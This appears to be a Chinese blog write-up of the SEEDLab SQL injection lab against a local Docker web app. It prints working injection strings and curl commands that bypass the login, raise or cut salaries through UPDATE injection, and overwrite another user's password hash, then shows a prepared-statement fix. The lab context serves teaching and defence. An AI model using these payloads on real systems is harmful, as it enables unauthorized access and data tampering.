首页 > 数据库 >SEEDLab —— SQL 注入攻击实验

SEEDLab —— SQL 注入攻击实验

时间:2024-12-07 15:55:42浏览次数:3  
标签:语句 Task SEEDLab pwd SQL input Password 注入

【软件安全】实验3 SQL 注入攻击实验

目录

环境设置

修改映射

将以下条目添加到 etc/hosts 目录下,其中 www.seed-server.com 是Web程序的域名,10.9.0.5 是容器的IP

10.9.0.5	www.seed-server.com

构建并启动docker

  1. Labsetup下使用命令 docker-compose build 构建docker
image-20241023085326893
  1. 使用命令 docker-compose up 拉起容器,容器中的 /var/lib/mysql 挂载在 Labsetup 目录下。
image-20241023090817956

Task 1:熟悉 SQL 语句

进入容器shell并使用mysql客户端与数据库进行交互

docker ps
docksh a3
mysql -u root -pdees

image-20241023092314024

加载数据库并打印数据库中的所有表

  • 使用命令show databases;查看所有数据库:
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sqllab_users       |
| sys                |
+--------------------+
5 rows in set (0.00 sec)
  • 使用命令use sqllab_users;加载数据库:
mysql> use sqllab_users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+------------------------+
| Tables_in_sqllab_users |
+------------------------+
| credential             |
+------------------------+
1 row in set (0.00 sec)
  • 使用命令show tables;打印此数据库的所有表:
mysql> show tables;
+------------------------+
| Tables_in_sqllab_users |
+------------------------+
| credential             |
+------------------------+
1 row in set (0.00 sec)

使用命令打印员工 Alice 的所有资料信息

  1. 使用命令SELECT * from credential;打印整个表单:

image-20241023104823095

​ 发现AliceName表项下,ID为1。

  1. 使用命令SELECT * from credential WHERE Name='Alice'即可打印员工Alice的所有资料:

image-20241023105057406

Task 2:基于 SELECT 语句的 SQL 注入攻击

登录界面

使用浏览器访问 www.seed-server.com 进入登录界面,如下:

image-20241023105530255

使用命令sudo docker cp ec:/var/www/SQL_Injection/unsafe_home.php .可以将登录界面前端代码从docker中拷贝到外部

登录界面逻辑

      $input_uname = $_GET['username'];
      $input_pwd = $_GET['Password'];
      $hashed_pwd = sha1($input_pwd);
  • $input_uname:用户输入的用户名

  • $input_pwd:用户输入的密码

  • $hashed_pwd: 密码的哈希值

// create a connection
      $conn = getDB();
      // Sql query to authenticate the user
      $sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= '$input_uname' and Password='$hashed_pwd'";
      if (!$result = $conn->query($sql)) {
        echo "</div>";
        echo "</nav>";
        echo "<div class='container text-center'>";
        die('There was an error running the query [' . $conn->error . ']\n');
        echo "</div>";
      }

这段代码使用了sql语句查询表中是否有用户名为$input_uname且密码哈希值为$hashed_pwd的表项,如果有则登录成功。

Task 2.1:基于网页的 SQL 注入攻击

你的任务是以管理员的身份从登录页面登录到 Web 应用程序,这样 你就可以查看所有员工的信息。管理员的用户名是 admin,口令未知。请在用户名与口令输入框中输入 能成功完成攻击的内容。

1. 利用 OR

我们可以构造 admin' OR '1=1 作为我们的登录用户名,这样Sql查询语句就变成了:

SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= 'admin' OR '1'='1' and Password='$hashed_pwd'

在Sql查询中,只要OR的前半部分为真,整个查询就为真,name='admin'为真,于是会直接跳过密码哈希值的判断部分,进而登录成功。

image-20241023115411546

2. 利用注释

我们可以构造 admin' -- admin' #作为用户名,这样后面的语句就会被注释掉:

WHERE name= 'admin' -- and Password='$hashed_pwd'
WHERE name= 'admin' #and Password='$hashed_pwd'

这样也会跳过密码哈希值的判断。

Task 2.2:基于命令行的 SQL 注入攻击

在不使用网页的情况下完成 Task 2.1 的目标。你可以使用命令行 工具,如 curl,它可以发送 HTTP 请求。如需在 HTTP 请求中包含多个参数,需要把 URL 和参数用一对 单引号括起来。否则,用于分隔参数的特殊字符 (如 &) 会被 shell 曲解,造成命令歧义。

将 Task 2.1 的命令中的 #空格',进行 URL 编码

# space '
%23 %20 %27
curl 'www.seed-server.com/unsafe_home.php?username=admin%27%20OR%20%271=1&Password='
curl 'www.seed-server.com/unsafe_home.php?username=admin%27%23&Password='
curl 'www.seed-server.com/unsafe_home.php?username=admin%27%20--%20&Password='

以上三条命令执行后都能登录成功并且回显出表单内容

image-20241023165508335

Task 2.3:增加一条新的 SQL 语句

admin'; DELETE FROM credential WHERE name='admin';#

尝试执行第二条 SQL 语句 DELETE FROM credential WHERE name='admin'; 删除 admin 表项,但是注入失败:

image-20241023172834635

原因:

查阅 SEED BOOK 后发现和 PHP 中 mysqli 拓展的 query() 函数有关,query()不允许在数据库服务器中运行多条语句,这是为了防止恶意用户通过 SQL 注入攻击执行额外的恶意 SQL 操作。即使攻击者在注入的输入中添加了分号,数据库也不会执行多条sql语句,会直接抛出错误。

Task 3:基于 UPDATE 语句的 SQL 注入攻击

当员工通过编辑界面编辑他们的信息时,是通过如下的SQL语句更新表单内容的,在 unsafe_edit_backend.php 文件中实现的 PHP 代码用于更新员工的个人信息:

  $conn = getDB();
  // Don't do this, this is not safe against SQL injection attack
  $sql="";
  if($input_pwd!=''){
    // In case password field is not empty.
    $hashed_pwd = sha1($input_pwd);
    //Update the password stored in the session.
    $_SESSION['pwd']=$hashed_pwd;
    $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";
  }else{
    // if passowrd field is empty.
    $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
  }
  $conn->query($sql);

可以发现代码是通过执行一个sql语句进行表单的更新:

UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;

Task 3.1:修改自己的工资

编辑页面中只能修改员工的昵称、电子邮件、地址、电话号码和口令,而不能用于修改工资。假设你 (Alice) 由于老板 Boby 今年未给你加薪而感到不满。你想利用存在于编辑页面的 SQL 注入漏洞来增加自己的工资。请展示你是如何实现这一目标的。已知列 salary 用于存储工资数额。

由于 PhoneNumber 是修改的最后一项,于是我们可以在 PhoneNumber 这里注入:

image-20241024132548486

填入 ',salary=99999 WHERE name='Alice' # ,相当于执行了:

UPDATE credential SET nickname='',email='',address='',Password='$hashed_pwd',PhoneNumber='',salary=99999 where name='Alice' #' where ID=$id; ;

这会把 Alice 的 Salary 表项改成 99999:

image-20241023180409189

Task 3.2:修改他人的工资

在提高自己的工资数额后,你决定惩罚你的老板 Boby,将他的工资减少到 1 美元。请展示你是如何实现这一目标的。

PhoneNumber 项填入 ',salary=1 WHERE name='Boby' #,相当于执行了:

UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='',salary=1 WHERE name='Boby' #' where ID=$id;

这会将 Boby 的工资表项更新成 1

image-20241024132816228

Task 3.3:修改他人的口令

修改完 Boby 的工资后,你仍心有不甘,所以你想修改 Boby 的口令,这样你就可以登录他的账户,做进一步的破坏。

由于 Password 在数据库中是以 SHA1 哈希后的哈希值存储的,如果我想把 Boby 的 Password 改为88888888,我就要将数据库中 Boby 对应的 Password 改为 SHA1(88888888)

通过 CyberChef 计算出哈希后的值:

image-20241024143047953

PhoneNumber 项填入 ',Password='05b530ad0fb56286fe051d5f8be5b8453f1cd93f' WHERE name='Boby' #,这会修改 Boby 的数据库中的 Password 值:

image-20241024143939937

现在我们再尝试使用密码 88888888 登录,发现登录成功:

image-20241024143659927 image-20241024144041882

Task 4:对策:语句预处理

请使用语句预处理机制来修复 SQL 注入漏洞。为了简单起见,我们在文件夹 defense 内创建了一 个简化程序,你需要对这个文件夹中的文件进行修改。

修改代码

修改 www 容器中的 /var/www/SQL_Injection/defense/ 文件夹下的 unsafe.php 文件,修改后的文件如下所示:

<?php
// Function to create a sql connection.
function getDB() {
  $dbhost="10.9.0.6";
  $dbuser="seed";
  $dbpass="dees";
  $dbname="sqllab_users";

  // Create a DB connection
  $conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname);
  if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error . "\n");
  }
  return $conn;
}

$input_uname = $_GET['username'];
$input_pwd = $_GET['Password'];
$hashed_pwd = sha1($input_pwd);

// create a connection
$conn = getDB();

// Use prepared statements to prevent SQL injection
$stmt = $conn->prepare("SELECT id, name, eid, salary, ssn FROM credential WHERE name = ? AND Password = ?");
if ($stmt) {
  // Bind parameters (s - string, i - int, d - double, b - blob)
  $stmt->bind_param("ss", $input_uname, $hashed_pwd);
  
  // Execute the statement
  $stmt->execute();
  
  // Get the result
  $result = $stmt->get_result();
  if ($result->num_rows > 0) {
    // only take the first row
    $firstrow = $result->fetch_assoc();
    $id     = $firstrow["id"];
    $name   = $firstrow["name"];
    $eid    = $firstrow["eid"];
    $salary = $firstrow["salary"];
    $ssn    = $firstrow["ssn"];
  }
  
  // Close the statement
  $stmt->close();
}

// close the sql connection
$conn->close();
?>
  1. 使用准备好的语句(Prepared Statements):通过 $conn->prepare() 函数创建查询,并使用 ? 占位符来防止直接插入用户输入内容。
  2. 绑定参数:使用 $stmt->bind_param() 函数,将用户输入的参数绑定到准备好的语句中。这种做法确保了SQL查询不会直接拼接用户输入,从而避免SQL注入风险。其中 "ss" 表示 $input_uname$hashed_pwd 都是字符串类型。

测试

访问 http://www.seed-server.com/defense 再使用 Alice' # 对 USERNAME 进行 SQL 注入测试:

image-20241024152049318

发现已经无法查询到 Alice 的信息了。

思考题

为了防止 C 程序在调用外部程序时出现代码注入攻击,我们不应该使用 system(),而应使用 execve()。请描述这种防御措施与防御 SQL 注入攻击的预处理语句之间的相似性。

1. system() vs execve() 防御代码注入

  • 在 C 语言中使用 system() 调用外部程序时,用户输入直接作为 shell 命令的一部分,如果用户输入中包含特殊字符或命令,就可能导致代码注入攻击。
  • execve() 是更安全的选择,因为它直接调用外部程序,而不使用 shell。这意味着它不会将输入当作 shell 命令进行解析,避免了恶意输入的执行。

2. SQL 预处理语句防御 SQL 注入

  • 在 SQL 查询中,如果直接将用户输入插入到查询字符串中,恶意用户可以利用输入中的特殊字符来构造有害的 SQL 语句,导致 SQL 注入攻击。
  • 使用 SQL 预处理语句可以防止这种情况发生。预处理语句将查询结构与参数分开,参数通过安全绑定方式插入,不会被当作 SQL 代码解析,避免了攻击。

两者的相似性

  • 两者都采用了分离用户输入和实际代码执行的方式,从而防止了恶意代码注入。
  • execve() 通过直接调用程序避免了 shell 的解析,而预处理语句通过绑定参数避免了 SQL 解析。
  • 在本质上,这些防御措施都是为了避免将用户输入直接传递给解释器或执行环境,从而避免潜在的注入攻击。

标签:语句,Task,SEEDLab,pwd,SQL,input,Password,注入
From: https://www.cnblogs.com/Smera1d0/p/18592294

相关文章

  • SEEDLab —— 跨站脚本(XSS)攻击实验
    【软件安全】实验4跨站脚本(XSS)攻击实验目录【软件安全】实验4跨站脚本(XSS)攻击实验Task1:上传恶意消息以显示警告窗口1.直接嵌入2.通过src属性引用嵌入2.1搭建一个本地Web服务器2.2使用src属性引用Task2:上传恶意代码以显示CookiesTask3:窃取受害者机器的Cookies......
  • SEEDLab —— 环境变量与 Set-UID 实验
    【软件安全】实验1——环境变量与Set-UID实验Task1:配置环境变量使用printenv或env指令来打印环境变量:​ 如果只想打印特定的环境变量,如PWD变量,可以使用printenvPWD或者env|grepPWD使用export和unset来设置或者取消环境变量使用export设置环境变量:​ 比如现......
  • SEEDLab —— 缓冲区溢出实验
    【软件安全】实验2缓冲区溢出漏洞目录【软件安全】实验2缓冲区溢出漏洞环境设置关闭反制措施地址空间布局随机化配置/bin/shTask1:熟悉shellcodeC语言版本的shellcode32bitshellcode64bitshellcode调用shellcodeTask2:理解漏洞程序源码解释编译Task3:对32-bit程序实施攻击(Le......
  • 解析JDBC使用查询MySQL【非流式、流式、游标】
    解析JDBC使用游标查询MySQL使用jdbc查询MySQL数据库,如果使用游标或者流式查询的话,则可以有效解决OOM的问题,否则MySQL驱动就会把数据集全部查询出来加载到内存里面,这样在大数据的情况下会OOM的不同的查询方式ResultsetRows的实现是不一样的!!!流式查询【每次只取一条】流式查......
  • MySQL语句学习第三篇_数据库
    MySQL语句学习第三篇_数据库专栏记录MySQL的学习,感谢大家观看。本章的专栏......
  • mssql靶场-手工注入(第一关)
    Mssql数据库相⽐mysql数据库本质上的框架是差不多的,使⽤的增,删,改,查命令是互相通的,但是Mysql中使⽤的函数在mssql中有些会起不到作⽤点。SQLSERVER--->MSSQL--14331.MSSQL中⾃带数据库信息2.MSSQL系统视图表(MSSQL数据库与MYSQL数据库⼀样,⾃带数据表sysobjects和sysco......
  • 第69篇 DI依赖注入
    1.相关基本概念1.1类和对象类是一个静态的概念,类本身不携带任何数据。当没有为类创建任何对象时,类本身不存在于内存空间中。new实例化的过程声明引用;使用new关键字创建类的对象并对其初始化;(分配内存空间)将引用指向类的对象。解除依赖的思想是如何产生的?(1)原始社会里,没......
  • 如何高效整合吉客云销售数据到MySQL数据库
    如何高效整合吉客云销售数据到MySQL数据库销售单吉客云·奇门数据集成到MySQL的技术案例分享在现代企业的数据管理中,如何高效、可靠地将销售单数据从吉客云·奇门平台集成到MySQL数据库,是一个关键的技术挑战。本文将详细探讨这一过程中的技术要点和解决方案。本次集成方案......
  • Java项目:小徐影城管理系统(java+SpringBoot+Mybaits+Vue+elementui+mysql)
    源码获取:俺的博客首页"资源"里下载! 项目介绍Springboot+vue小徐影城管理系统环境需要1.运行环境:最好是javajdk1.8,我们在这个平台上运行的。其他版本理论上也可以。2.IDE环境:IDEA,Eclipse,Myeclipse都可以。推荐IDEA;3.硬件环境:windows7/8/101G内存以上;或者MacO......
  • MYSQL对自动新增AUTO_INCREMENT的值进行修改
    本文解释如何对AUTO_INCREMENT的值进行修改操作。对AUTO_INCREMENT的值进行修改修改方式如下:1.如果AUTO_INCREMENT的值大于数据库的最大值的时候,可以在这个范围内取任何一个值修改为更大的值。mysql>showcreatetabletianyiyun;+-----------+-------------------------......